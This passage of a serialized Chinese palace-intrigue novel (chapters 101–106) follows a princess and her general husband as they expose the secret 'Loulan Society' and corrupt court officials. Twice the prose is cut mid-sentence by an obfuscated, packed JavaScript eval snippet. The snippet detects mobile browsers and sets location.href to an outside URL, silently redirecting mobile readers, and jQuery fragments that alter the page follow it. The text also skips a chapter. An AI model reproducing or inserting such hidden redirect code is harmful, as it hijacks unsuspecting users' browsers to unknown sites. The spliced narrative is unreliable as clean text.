阿武和另外两名心腹应声。他们身形矫健,借着夜色和地形的掩护,悄无声息地向庄园靠近。避开巡逻的武者,他们找到一处相对薄弱的环节,翻过了围墙。 庄园内部比外面更加安静。他们伏低身子,沿着墙根前进,避开可能存在的暗桩和陷阱。 “这边有地下室的入口。”阿武在一个角落停下,指了指地面上的一个不起眼的石板。石板边缘有磨损的痕迹,显然经常被移动。 黎音袅走上前,仔细查看。她注意到石板下方的泥土颜色与其他地方不同。 “打开。” 阿武用力推开石板,露出了一个黑漆漆的洞口,一股潮湿冰冷的气息扑面而来。他们没有犹豫,依次进入。 地下室的空间不大,空气混浊。一股霉味和纸张腐朽的味道混合在一起。借助随身携带的火折子发出的微弱光芒,他们看到四周堆放着一些杂物。 “找找看,有没有账本或者信件。”黎音袅吩咐。 阿武等人在地下室里翻找起来。这里的东西很乱,像是一个久未清理的储藏室。 “找到了!”阿武的声音带着一丝兴奋。 他从一个破旧的箱子里拖出几个包袱。包袱里不是衣物,而是厚厚一摞纸张。 黎音袅走上前,接过一份纸张,展开。火折子的光芒映照在纸上,一行行小字映入眼帘。 这是一份账本。上面记录着各种物品的进出,以及金钱的往来。但这些记录并非寻常的交易,上面出现了许多代号和隐语。 黎音袅又拿起一份,这是一封信件。信件的内容让她心中一沉。 “长公主,这些好像都是重要的东西。”阿武说。 黎音袅没有回答。她一份份地翻看,脸色越来越凝重。账本和信件的内容逐渐勾勒出一个庞大而阴暗的网络。 “楼兰会……”她轻声念出这个名字。 这些文件详细记录了“楼兰会”的运作方式,他们的资金来源,以及他们与朝中官员的联系。那些代号和隐语,在对照了几份文件后,逐渐变得清晰起来。 她看到了一些熟悉的名字,朝中那些平日里道貌岸然的大臣,他们的名字赫然出现在这些勾结的记录中。 “竟然是他们……”黎音袅的指尖触碰着纸上的名字。愤怒在她心中升腾。 她看到了关于南方水患的记录。那不是天灾,是人祸。河道的决堤,赈灾物资的克扣,背后都有“楼兰会”的影子。 她看到了关于疫病的记录。药材的囤积,劣质药材的流通,甚至是对医者的控制,都是为了让疫病蔓延,从中牟利。 “这些畜生!”黎音袅咬牙。她想到 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这个发现让她更加确定了之前的猜测。百草堂的南方分号,也许只是一个幌子,它背后隐藏着“楼兰会”更深的秘密。 “这些都要带走。”黎音袅将文件一份份整理好。 “全部?”阿武问。 “全部。”黎音袅回答。这些是“楼兰会”的罪证,也是他们织就的罪恶之网的证据。 她将文件小心翼翼地装入带来的防水布袋中。袋子很沉,但她拿得很稳。 “我们必须尽快离开这里。”黎音袅对阿武说,“这些东西一旦被发现丢失,他们会发疯的。” 她看了一眼地下室的入口。上面就是庄园,是“楼兰会”在京城的据点。 “走。”她命令。 阿武等人将石板重新盖好,尽可能恢复原状。 黎音袅提着装满罪证的布袋,站在地下室的黑暗中。她的脸上没有一丝疲惫,只有一种**找到猎物时的冷峻。 他们原路返回,准备离开这座庄园。 第101章从长计议 黎音袅踏入宫门。 御书房内,许鹤鸣放下手中的朱笔。 “何事?”他问,声音平缓。 黎音袅将那个沉甸甸的防水布袋放在案前。 “陛下,臣女找到了这个。” 许鹤鸣示意内侍。内侍上前,欲打开布袋。 “陛下亲启。”黎音袅说。 许鹤鸣看了她一眼,挥退内侍。他亲自解开布袋的绳索,取出里面的账本和信件。 他一份份翻看。 起初,他的表情没有变化。随着他看到的内容增多,他的眉头开始聚拢。 黎音袅站在一旁,没有言语。她观察着许鹤鸣的每一个细微反应。 许鹤鸣的手指在一份名单上停顿。那上面是几个显赫的姓氏。 “楼兰会……”他开口,声音比之前低沉。 “是。”黎音袅回答,“这些文件,详细记录了他们的罪行。南方水患,疫病蔓延,皆与他们有关。他们勾结官员,囤积居奇,草菅人命。” 许鹤鸣将那份名单拿起,又放下。他继续翻看其他文件,越看,面色越是沉重。 那些代号,那些隐语,那些触目惊心的数字。 “这些人,”许鹤鸣终于再次开口,他抬起头,看着黎音袅,“你确认无误?” “臣女逐一核对,不敢有误。”黎音袅说,“每一笔记录,每一封信件,都指向同一个方向。” 许鹤鸣将手中的文件合上,放在御案的一角。他没有立刻说话,御书房内陷入一种压抑的沉默。 黎音袅能感觉到他内心的波动。这不是一个轻易能下的决断。 “你认为,该如何处置?”许鹤鸣问,他的视线落在那些文件上。 “按律当斩。”黎音袅回答,没有犹豫,“他们罪大恶极,国法难容。” “斩?”许鹤鸣重复了一遍这个字,“名单上的人,你都看清楚了?” “臣女清楚。” “户部尚书,兵部侍郎,甚至还有宗室之人。”许鹤鸣的声音里带着一种疲惫,“这些人,都是朝廷的柱石。一旦尽数罢黜,朝局必然动荡。” “陛下,”黎音袅上前一步,“若不清除这些蛀虫,国将不国。他们的存在,才是对朝廷根基最大的动摇。” “朕知道。”许鹤鸣打断她,“但眼下,边境不稳。楼兰会的境外余党,一直虎视眈眈。若此时朝中大乱,他们必会趁虚而入。” 他站起身,走到窗边,背对着黎音袅。 “朕不想再看到生灵涂炭,不想再经历动荡。”他的声音透过窗棂传来,带着一丝不易察觉的脆弱。 黎音袅的心沉了下去。她预想过许鹤鸣的顾虑,但没想到他会如此直接地表露出来。 “陛下是想,放过他们?”黎音袅问,声音有些发紧。 许鹤鸣转过身,重新看向她。他的表情恢复了惯常的平静,但那平静之下,是深不见底的权衡。 “此事,朕需要从长计议。”他说,“这些证据,朕会留下。你先回将军府。” 黎音袅没有动。 “陛下,”她开口,语气中带着一丝不甘,“那些枉死的百姓,他们等不了太久。” “朕知道你的心情。”许鹤鸣说,“但身为帝王,朕要考虑的,是整个江山社稷的安危。” 他的视线落在黎音袅的脸上,停留了片刻。 “音袅,”他换了个称呼,语气也缓和了些许,“你是长公主,也该多照顾一下自己的夫君江令舟。朝廷的事情,先放一放。” 这句话,像是一盆冷水,浇熄了黎音袅心中燃烧的怒火,也让她感到一阵无力。 她明白许鹤鸣的潜台词。这是警告,也是安抚。 江令舟,她的夫君,此刻成了牵制她的一个砝码。 “臣女告退。”黎音袅最终还是低下了头。 她知道,再说下去,也不会有任何结果。许鹤鸣已经做出了他的选择,至少是眼下的选择。 她转身,向御书房外走去。 那个装满罪证的布袋,留在了御案之上。 走出宫门,阳光有些刺眼。 阿武在宫门外等候。 “殿下?”他看到黎音袅的神色,心中有了不好的预感。 黎音袅没有说话,径直上了马车。 马车缓缓驶向将军府。 车厢内,黎音袅闭上眼睛。许鹤鸣的话语在她脑海中回荡。 “朝廷的事情,先放一放。” “多照顾一下自己的夫君江令舟。” 她握紧了拳头。指甲深深嵌入掌心。 不甘心,她怎么能甘心。 那些罪证,是她冒着生命危险带回来的。那些真相,是无数 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以前,她的敌人清晰可见。她可以制定计划,可以调动力量,可以一往无前。 但现在,她的对手,是整个朝廷的顾虑,是帝王的权衡。 “殿下,将军回来了。”门外传来侍女的声音。 江令舟,黎音袅的思绪被打断。她起身,整理了一下衣衫。 “让他进来。”她说。 门被推开,江令舟走了进来。 他看到黎音袅,脸上露出一如既往的温和笑容。 “音袅,你今日进宫了?”他问。 黎音袅看着他。 这个男人,是她的夫君。也是许鹤鸣口中,她需要“多照顾”的人。 “嗯。”她应了一声。 “陛下可有说什么?”江令舟随意地问,似乎只是寻常的关心。 黎音袅没有直接回答,她走到他面前。 “令舟,”她开口,“如果,我做了一件可能会牵连到你的事情,你会如何?” 江令舟脸上的笑容微微一滞。 他看着黎音袅,片刻之后,才开口。 “何事?” 第102章支持你 黎音袅避开了他的视线。“没什么。只是一个假设。” 她不想将他牵扯进来。许鹤鸣的警告如同利剑悬顶。江令舟是她的软肋,亦是她的铠甲。此刻,她不愿这铠甲沾染半分尘埃。 江令舟没有再问。他走近,替她将鬓边一缕散发拢至耳后。“若有事,告诉我。” 日子仿佛真的沉静下来。 许鹤鸣未再传召。朝堂之上,水患疫病的后续,只循旧例处置,未提那些惊心内情。黎音袅将那只盛满罪证的布袋留在了御书房,也仿佛将一部分自己锁在了那里。 她依旧是将军府的当家主母,料理内务,偶巡铺面。唯心中那份重压,似窗外连绵阴雨,不得晴朗。 她试图将思绪从那些令人窒息的真相上挪开,试图去体味许鹤鸣口中的“平静”。 这日午后,黎音袅在书房整理江令舟的藏书。多是兵法韬略,兼有舆图地志。她拿起一本略显陈旧的册子,翻开,内里是一幅手绘的边疆地图。 图上山川、河流、关隘、要塞,乃至一些隐秘路径,均标注精细。墨迹微淡,纸页泛黄,显是有些年月。 她看得专注,指尖轻触那些或熟悉或陌生的地名。 “在看什么?”江令舟不知何时立于身后。 黎音袅举起手中图册。“这是你画的?” 江令舟接过,眼中掠过一丝缅怀。“嗯,多年前了。尚在北疆之时。” “能与我说说吗?”黎音袅轻问。 江令舟在书案前坐下,将地图徐徐展开。他的手指点在图上一处。“此处,鹰愁崖。地势险峻,易守难攻。当年我等在此与沙匪周旋三月。” 他语声不高,语速平缓,仿佛在述说旁人旧事。黎音袅却能从他偶尔的语滞、微抿的唇角,感知那些岁月中的艰辛与酷烈。 “此处,无定河。河道年年迁徙,我部曾因地形不熟,误陷流沙,折损颇多。”他指着一条蜿蜒墨线,“后来,我率数名斥候,耗时半载,将方圆百里河道尽数探明,方有此图雏形。” 黎音袅静静聆听。她眼前似浮现出那个年轻的江令舟,于风沙漫卷的边塞,于刀光剑影的沙场,用双足丈量国土,用热血守护家邦。 “你受了很多苦。”她说。 江令舟笑了笑,那笑容里并无苦涩,唯有淡泊。“为将者,分内事尔。” 他继续讲述,讲那些曾并肩浴血的袍泽,讲那些为守卫防线而殒命的年轻军士,讲那些在苦寒之地依旧乐天的边民。 黎音袅的心,一分分下沉,又一分分被另一种情愫充盈。 她想起许鹤鸣之言,“朝廷的事情,先放一放。” 她想起那些罪证,那些被强行掩下的真相。 江令舟与他的袍泽,在边疆抛洒热血,守护的究竟是什么?难道便是这样一个,可以为了所谓的“大局”而漠视无辜百姓生死的朝廷吗? “令舟,”她蓦然开口,打断了他的追忆,“你觉得,值得吗?” 江令舟望向她,眼中略带不解。“值得什么?” “用那么多人的性命,去守护……守护这一切。”黎音袅声音有些沙哑。 江令舟沉默片刻。“音袅,所守者,非为某人,亦非为某个朝代。乃是这片疆土,是这疆土之上的万民。只要他们能安居,便是值得。” 他的话,似一柄重锤,敲在黎音袅心上。 是啊,万民。她带回的罪证,不正是为了那些身陷水火的万民吗? 许鹤鸣有他的权衡,帝王有他的谋算。但她呢?她的初衷为何? 她凝视着江令舟,这个素日温文尔雅的男子,此刻眉宇间透出一股军人独有的刚毅。他或许不善辞令,不谙权术,却以最质朴的方式,践行着他心中的道义。 “我懂了。”黎音袅低语。 江令舟未问她懂了什么。他只是将地图细致卷好,放归原处。“天色不早,出去走走?” 夜色渐浓,一轮皓月悬于天幕。 庭院之中,花影婆娑,暗香氤氲。 二人并肩漫步,身影在月光下被拉得很长。 江令舟取过一件披风,轻柔地为黎音袅披上。“夜深露重。” 黎音袅拢了拢披风,仰首望月。“这样的时光,真希望能多一些。” 她语声极轻,带着一丝难辨的怅然。 江令舟握住她的手,掌心温暖而干燥。“会的。”他语气笃定,“我们以后,会有更多这样的时光。” 黎音袅未再言语,只将头轻轻倚靠在他的肩上。 江令舟察觉到她的静默,他收紧了握 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黎音袅心中微暖,却也清楚,这不是他一人之力便能全然化解的危机。“我知道。但‘楼兰会’行事诡秘,牵扯前朝旧事,其根基之深,恐怕超出我们预料。”她想起那些被许鹤鸣压下的罪证,那些指向不明的线索。“我们不能只守不攻,需得想办法探清他们的虚实。” 江令舟点头。“军中斥候可派上用场,暗中查探。只是此事需极为隐秘,不可打草惊蛇。”他沉吟片刻,“京畿防务,我也会多加留意。任何异动,都不能放过。” 黎音袅说:“如此最好。我也让我的人手在各处坊间留意,看能否搜集到一些蛛丝马迹。” 二人商议片刻,虽无万全之策,却也定了几个方向。 这时,管家在门外轻叩。“将军,夫人,有自南方来的急信。” 江令舟取过信笺,展开,眉头微微蹙起。黎音袅看他神色,心也跟着一提。“可是南方灾情有变?” “倒不是灾情,”江令舟将信递给她,“是关于我们送去的那批物资。有部分被地方官吏截留了,说是要‘统一调配’,但迟迟未发放到灾民手中。” 黎音袅接过信,快速看完,面色一沉。“又是这些蛀虫!国难当头,他们竟还敢如此!”她想起那些在洪水中失去家园的百姓,想起那些嗷嗷待哺的孩童。“这批物资,是你通过军中渠道送去的,他们也敢动?” 第103章治安整顿计划 江令舟深深地叹气:“山高皇帝远,总有些利欲熏心之徒。此事,我会处理。”他看向黎音袅,“你之前筹集的那批善款,可曾遇到阻碍?” 黎音袅摇头:“善款由我信得过的人直接押送,分发到各处安置点,绕开了地方官府,目前还算顺利。只是,终究是杯水车薪。”她叹了口气,“重建家园,非一日之功。后续的粮食、药材、御寒之物,都是大问题。” “我已去信几位旧部,他们驻地尚有余粮,或可调拨一部分。药材方面,我再想想办法。”江令舟道,“至于御寒之物,入冬尚有些时日,或许可以发动京中一些商号捐助。” 黎音袅起身:“我明日便去拜访几家相熟的商会会长。国公府的名义,他们多少会给些颜面。只是,如此一来,我们便又站到了风口浪尖。”她并非畏惧,只是不愿江令舟因此受到不必要的攻讦。 “为民**,何惧人言。”江令舟语气平淡,“若连这点担当都没有,我还算什么军人。” 黎音袅看着他,这个男人,总是在用最朴素的言语,做着最正确的事。她心中的那份沉重,似乎又轻了一些。她曾困惑于朝廷的昏聩,困惑于守护的意义。但此刻,看着江令舟为南方灾民奔走的模样,她找到了部分答案。守护的,是像他这样心怀苍生的人,是那些在苦难中依旧努力活下去的百姓。 “令舟,”她轻声道,“我们这样做,会不会触动某些人的利益?比如,那些想从灾情中渔利的人。” 江令舟握紧拳头:“必然会。但我们不去做,那些百姓便更无指望。”他的回答直接,不带任何犹豫。“若有人阻挠,便扫清障碍。” 这句话,带着军人特有的决断。黎音袅想,这或许就是他与许鹤鸣的不同。许鹤鸣会权衡,会妥协,会为了所谓的“大局”牺牲局部。而江令舟,他的“大局”观更为纯粹,那就是万民的安危。 “我明日去一趟慈幼局,看看那些从南方转移过来的孤儿,他们也需要安置。”黎音袅道。 “好,我派些人手护送你。” 二人又细细商议了后续援助南方的诸多事宜,从物资的筹集运输,到人手的调配安抚,桩桩件件,繁琐却必要 数日过去,南方灾情依旧牵动人心,京中亦非全无波澜。新的议题摆上了案头:京城治安整顿计划。 书房内,气氛无声凝滞。 “京城治安,当务之急是清查官吏。”黎音袅先开口,她的看法明确,“吏治不清,犹如堤坝蚁穴,不先清除,后续投入再多兵力、修缮再多城防,亦是枉然。蛀虫一日不除,京城一日难安。”她想起那些被地方官吏截留的物资,对这种内部的腐蚀感触尤深。 江令舟眉头微蹙,他有不同见解。“城防为先。”他言简意赅,“近来流民增多,城中治安隐患已现。当务之急是加固城门,增派巡防,严明岗哨职责。先稳住局面,再谈其他。”他的经验告诉他,有形的防御是最直接的屏障。 黎音袅:“若守卫者本身便是问题,再坚固的城墙又有何用?我们送去南方的物资,不就是前车之鉴?” 江令舟:“南方之事,我会处理。京城不同,此地乃天子脚下,不容半分动荡。清查官吏,耗时费力,牵扯甚广。其间若有变故,谁来承担?” “所以便姑息养奸?”黎音袅反问,“等到内部朽坏,再强的城防也会从内被攻破。令舟,治病需除根。” “饭要一口口吃,事情要一件件做。”江令舟的语气也重了些,“眼下是防范外部冲击,确保京城不乱。连‘稳’都做不到,何谈‘清’?” 黎音袅:“我以为,‘清’正是为了‘稳’。不清源头,何来长久安稳?难道你要用一群不可信之人去守卫京畿?” 江令舟:“我会挑选可靠将士负责关键防务。但大规模的官吏清查,此刻时机不对。你这是将希望寄托于一个漫长且变数极大的过程。” “那你便是头痛医头,脚痛医脚!”黎音袅的声音不由自主抬高少许,“只图眼前安稳,不顾深层隐患,这不是长久之计!” 江令舟:“京城安危,不容许我们冒任何一点险去尝试所谓的‘长久之计’!必须先确保万无一失的防卫!” “万无一失?”黎音袅重复这四个字,“人心难测,何来万无一失?若无内部的清明,所有的防卫都是沙上之塔!” 江令舟站起身,在书案前来回走了两步。“你的方法,理想有余,实操不足。京城之重,不容许如此理想化的施政。” 黎音袅也站了起来。“你的方法,看似稳妥,实则短视!只求一时之效,罔顾根本!” 两人各执己见,言辞交锋,谁也说服不了谁。书房中的空气仿佛凝固,只余下彼此略显急促的呼吸声。这是他们相识以来,少有的意见相左,且言语间带着**味的时刻。 江令舟不再说话,只是看着她。 黎音袅也沉默下来,心中却波澜起伏。她并非不明白江令舟的顾虑,京城安危大过天,任何一点疏忽都可能酿成大祸。只是,她对官场积弊的痛恨,让她难以接受任何形式的妥协。 一时间,室内静得能听见窗外偶过的风声。 江令舟率先移开视线,走到窗边,负手而立,背影透着军人特有的刚硬。 黎音袅看着他的背影,心中的那股气慢慢沉淀。她开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548039|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回想江令舟的话,他的逻辑,他的出发点。他是军人,思考问题总是从最直接的威胁、最有效的防御入手。加强城防,增派人手,这是他最擅长也最能快速见到成效的办法。京城确实不能乱,这是底线。 她想,自己是不是过于执着于“除根”了?清查官吏,固然重要,但正如他所言,耗时费力,且必然会引起官场震动,短时间内反而可能造成新的不稳定。若在此期间,京城真的出了什么乱子……后果不堪设想。 他的提议,并非没有道理。先稳住外部,再徐图内部,或许更为稳妥。她之前筹集善款,不也是绕开了地方官府,先将物资送到灾民手中?有些时候,迂回和阶段性的策略,确实比一味的猛冲猛打更为有效。 她并非固执己见之人。只是方才气氛紧张,话赶话,便有些失了平日的冷静。 她走到江令舟身后,犹豫了一下。 片刻后,她还是开口,声音比方才平和许多:“令舟。” 江令舟身形未动。 黎音袅继续道:“我想了想,你说的也没错。京城治安,确实需要先稳住局面。我们可以把两个计划结合起来。先加强城防巡查,确保不出纰漏。同时,暗中搜集官吏不法的情报,待时机成熟,再行整顿。如此,既能应急,也能图远。” 江令舟缓缓转过身。他看着黎音袅,见她神色诚恳,不似方才那般坚持。他心中的那股郁气,也随之消散了大半。他本就不是小气之人,方才的争执,更多的是对京城安危的忧虑,以及对黎音袅那种“理想化”做法的急切。 他脸上露出一丝缓和。“我也有不对的地方,”他开口,语气恢复了平日的沉稳,“不该那么固执,言语间有些急躁了。你的顾虑是对的,内部的问题不解决,终究是隐患。” 黎音袅见他如此说,心中最后一丝芥蒂也消失了。 两人相视,过往的默契与理解重新回到了他们之间。先前那点剑拔**张,此刻看来,不过是湖面偶然泛起的一丝涟漪。 这场小小的争执,不仅没有在他们之间划下裂痕,反而像一块试金石,让他们更清晰地看见了彼此思考问题的方式,也让他们明白,即便偶有分歧,最终也能找到共同的路径。 江令舟:“城防之事,我即刻去安排。至于官吏清查……” 黎音袅接话:“我来负责搜集线索。此事需隐秘,不宜声张。” “好。”江令舟点头。 窗外的天色,不知何时又明朗了些。 黎音袅走到书案边,拿起方才二人各自草拟的计划,将两张纸并排放在一起。 江令舟也走了过来,站在她身侧。 第104章 加强巡逻 京城的气氛,悄然变化。 江令舟雷厉风行,调兵遣将。城门各处,岗哨加倍,军士往来,甲胄鲜明。他亲自巡视防务,从东华门到西直门,每一处隘口,每一队巡卒,他都细细盘问,调整部署。夜间,火把通明,将京城内外照如白昼,任何异动都难逃军士的眼睛。军令传下,但有滋扰生事者,立捕不饶。一时间,京中肃然。 黎音袅亦未曾停歇。她启动了多年经营的江湖脉络。故友旧识,鱼龙混杂,三教九流,皆有其用。一封封密信送出,一道道指令传达。她要的不是官样文章,而是那些藏于市井、匿于暗巷的真实消息。官员的日常起居,私下往来,异常的钱财流动,隐秘的宴饮聚会,都成了她关注的重点。她深居简出,书房的灯火常常彻夜不熄,面前摊开的是京城舆图,以及一张张写满人名与关联的纸页。 “将军,南城昨日有数起斗殴,皆是些泼皮无赖,不像是寻常口角。”一名亲卫向江令舟禀报。 江令舟正在擦拭佩刀冷锋,闻言,动作一顿。“起因?” “据称是为争抢地盘,或是旧怨。但发生得过于密集。” 江令舟放下佩刀。“查。看看背后是否有人指使。”他心头微动,这与他预想的宵小作祟不同,透着一股刻意。 不过数日,街头巷尾便起了些风言风语。 “听说了吗?江将军和那位黎姑娘,以整顿治安为名,大肆抓人呢!” “可不是,说是清查官吏,我看是排除异己,趁机敛财吧?” “嘘,小声点,当心被当成乱党抓了去!” 这些话,如生了翅膀,迅速在市井间流传。有些本就对官府不满的百姓,听风是雨,也跟着抱怨起来。 黎音袅的线人将这些传闻报了上来。 “长公主,如今外面传得难听,说您和江将军…其心可诛。”线人面带忧色。 黎音袅正在翻看一卷账册,闻言,手指停在某一处。“其心可诛?”她重复了一遍,声音平静。“是‘楼兰会’的手笔。他们坐不住了。” 她想,这般拙劣的手段,除了煽动无知者,还能有什么用?只是,污水泼多了,总会脏了衣衫。江令舟那边,怕是也要承压。 “他们这是在逼我们。”江令舟来到黎音袅的书房,面色沉静。他刚从兵部回来,显然也听到了那些风声。 “逼我们自乱阵脚,或是逼我们停手。”黎音袅放下账册,“看来,我们之前的动作,确实打疼他们了。” “一群藏头露尾的鼠辈,只会用这种下三滥的伎俩。”江令舟语气中带着不屑,但眉宇间并无轻视。“城防那边,地痞**,我已经派人去查,多半也是他们搞的鬼,想分散我的精力。” “他们越是如此,越说明他们心虚,也说明我们离他们的要害不远了。”黎音袅站起身,走到窗边。外面天色阴沉,似要下雨。 “我原以为,他们会更沉得住气。”江令舟也走了过来。 黎音袅道:“或许,他们内部出了问题,或者,他们有更大的图谋,不容许我们此刻深查。”她转头看他,“令舟,我们不能被他们牵着鼻子走。他们想让我们乱,我们偏要更稳。他们想让我们慢,我们偏要更快。” 江令舟看着她。“你的意思是?” “我的意思是,他们既然出招了,就说明他们怕了。这是‘楼兰会’的垂死挣扎,我们必须加快调查进度,才能彻底粉碎他们的阴谋。”黎音袅的思路清晰。 他思忖片刻。“你说得对。京城的巡逻,我会进一步加强。所有将士,重新进行应对突发状况的操练,提高戒备。绝不能让他们在城防上找到可乘之机。” “好。”黎音袅应道,“我这边,也要从这些纷乱的情报中,找出真正的线索。‘楼兰会’在京城盘踞多年,必然有一个核心的联络点,或者说,一个关键人物。只要找到这个点,就能顺藤摸瓜。” 江令舟:“此事非同小可,你一人……” “我不是一人。”黎音袅打断他,“我有我的方法。你只需稳住外面,给我时间。” 他注视她片刻,然后点头。“万事小心。” “你也是。” 江令舟回到军营,立刻召集众校尉。 “近来城中有些鼠辈作祟,意图扰乱治安。尔等务必约束手下兵士,加强巡防,提高警惕。自今日起,每日操练加一个时辰,演练应对各种突发阵型,若有懈怠,军法处置!” 众校尉轰然应诺。军营中的气氛骤然紧张起来。江令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548040|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟亲自督导操练,他要求士兵不仅要勇猛,更要机敏,能在混乱中迅速辨明敌我,有效控制局面。他甚至调来几名经验老到的斥候,教授士兵如何在人群中追踪、识别可疑人员。 黎音袅的书房内,灯火更亮。她将搜集到的所有情报,无论大小,都摊在长案上。官员的名单,商铺的流水,地痞的供词,甚至是一些看似无关紧要的市井传闻。她将这些信息一一比对,归类,分析其中可能存在的联系。 “这个‘庆丰行’,最近三个月,从江南运来的丝绸数量,比往年同期多了两倍,但京中绸缎价格并未下跌,销路也无明显增加。多出来的丝绸去了哪里?”她在一张纸上记下庆丰行。 “城南的几处赌场,最近换了管事,都与一个叫‘黑三’的人有关。那些**的地痞,也有人提到过‘黑三’的名字。”黑三也被记下。 “吏部侍郎王启年,上月嫁女,嫁妆丰厚,其中有一批珠宝,据说是宫中赏赐。但他近来并无殊功,何来赏赐?”王启年三个字旁,她画了一个圈。 线索一点点汇聚,又一点点被排除。她的精神高度集中,脑中仿佛有一张巨大的网,正在慢慢收紧。 “楼兰会……”她低声自语,“你们的根,究竟扎在哪里?” 她想起江令舟的话,要快。她不能慢。京城的安危,百姓的生计,都压在他们肩上。 夜深了,窗外传来更夫的梆子声梆…梆梆。 黎音袅揉了揉额角,拿起一份新的卷宗。这是一份关于京郊一座废弃庄园的记录。庄园主人早年获罪,庄园荒废已久。但最近有线报称,夜间常有人影出入。 她将这份卷宗与庆丰行、黑三的资料并列。一个模糊的念头,在她脑中浮现。 如果,那些多出来的丝绸,并非用于正常发卖……如果,那些地痞的**,并非偶然……如果,王侍郎的珠宝,来源并非宫中…… 她拿起笔,在舆图上圈出了庆丰行的位置,城南赌场的**地,王启年府邸的所在,以及那座京郊的废弃庄园。 几个点,看似毫无关联,但在她眼中,却隐约连成了一条线。 她取过一张干净的纸,写下了一个名字。 “是他。” 她放下笔。 第106章逃了 那掌柜依言,引着二人穿过几重院落,到了一处柴房外的枯井旁。他搬开井沿一块松动的青石,露出一截系着细绳的竹筒。江令舟取过竹筒,倒出一卷蜡丸封口的薄纸。 黎音袅接过,小心剥开蜡封,展开纸卷。上面并非文字,而是一幅简略的地图,用特殊墨水绘制,线条指向城西一处标记。 “这是…”黎音袅指尖划过图上一点,“墨影山庄。废弃的皇家别苑,距离观音庙有十数里。” 江令舟观察周围:“观音庙是幌子,或者只是外围的接头点。这山庄,才是他们真正的巢穴。” 黎音袅点了点头:“蛇眼倒是谨慎。若非搜出此物,我们便扑空了。”她看向那掌柜,“你倒也算合作。” 掌柜面无人色,连连叩首:“小人不敢隐瞒,只求活命。” 江令舟不再理会他,对黎音袅道:“人手如何安排?” 黎音袅想了想说道:“我已传讯给暗羽,他们会在一个时辰内于城西预定地点集结。山庄地形复杂,需提前布置。” 江令舟点了点头:“好。此地事了,我们即刻动身。”他看了一眼地上的伙计和掌柜,“这两个,先捆了,堵上嘴,自有京兆府的人来处理。” 一个半时辰后,夜色如墨。 墨影山庄,断壁残垣在月光下投射出幢幢鬼影。此地早已荒废多年,平日人迹罕至。 黎音袅与江令舟伏在山庄外一处隐蔽的土坡后,身边是十数名劲装结束的暗羽卫士,个个屏息凝神,与夜色融为一体。 江令舟低声道:“各处都已就位?” 一名卫士回道:“回禀将军,山庄三面出口均已布下人手,只待号令。” 黎音袅吩咐:“让他们耐心。今夜,要一网打尽。”她心中却在思忖,蛇眼究竟是个怎样的人物,竟能调动如此力量,图谋这等大事。 不多时,远处传来轻微的马蹄声与车轮碾过草地的细碎声响。 数辆不起眼的青布马车,在几个手提灯笼的人影引领下,陆续驶入山庄破败的大门。 “来了。”江令舟声音无波。 黎音袅凝神细看,从马车上下来的人,大多身着寻常富商或管事的衣物,但行动间透着一股不同寻常的警惕与干练。 陆续有二十余人进入山庄,径直往主院方向行去。 江令舟眼神严厉的说:“人数与掌柜所说相符。” 黎音袅点了点头:“不止。你看后面那几辆。” 又有三辆装饰略显考究的马车驶入,停在稍远些的位置。车帘掀开,下来的人影让黎音袅与江令舟皆是一怔。 “那是…户部侍郎,王承恩?”黎音袅几乎不敢相信。 江令舟的脸色也沉了下来。“还有兵部主事,周显。旁边那个,是御史台的何赞。” 这些皆是朝中有头有脸的人物,平日里道貌岸然,此刻却鬼祟出现在这贼窝之中。 黎音袅气愤地说:“他们竟然也牵涉其中。楼兰会,好大的手笔。” 江令舟附和:“蛀虫。朝廷的蛀虫。”他心中一股怒火升腾,这些人食君之禄,却行此叛逆之事。 一行人进入主院大堂,里面早已点亮了数盏油灯。 江令舟与黎音袅悄然潜近,伏于窗外,堂内对话清晰可闻。 一个沙哑的声音响起,带着几分傲慢:“诸位,时辰差不多了。蛇眼大人很快就到。” 此人应是负责此次**之人。 王承恩的声音传来,带着一丝急切:“此次计划,可有变动?城中流民已有些按捺不住,若再不加以引导,恐生变数。” 周显附和:“不错。我已按约定,‘疏忽’了几处城防军的巡逻路线,方便他们‘活动’。” 何赞则道:“**的奏本已经备好,只等事发,便一同呈上,直指中枢处置不力,民怨沸腾。” 沙哑声音冷笑:“诸位大人放心。蛇眼大人的计划天衣无缝。待流民冲击府衙,焚烧粮仓,京城大乱,朝廷自顾不暇。届时,便是我们楼兰会更进一步的良机。到那时,各位的功劳,蛇眼大人与会中长老,绝不会忘记。” 王承恩:“如此甚好。我们所求,不过是将来能有一席之地。” “一席之地?”黎音袅心中冷哼,“怕是断头台上的位置更适合你们。” 堂内,那沙哑声音继续道:“蛇眼大人有令,此次行动,要彻底搅乱京城局势,将水搅浑。朝廷越是焦头烂额,我们行事便越方便。而且,这也是为了掩护另一桩更重要的大事。” “哦?还有何事?”王承恩追问。 沙哑声音:“此非尔等该过问。做好分内事即可。” 江令舟与黎音袅对视一眼,皆从对方眼中看到了凝重。这背后,竟还有更大的图谋。 江令舟做了个手势。不能再等下去了。 黎音袅微微颔首。 “动手!”江令舟一声低喝。 数十名暗羽卫士如猛虎下山,从四面八方冲入主院。 “有埋伏!”堂内之人惊呼。 霎时间,兵刃交击声,怒喝声,惨叫声响成一片。 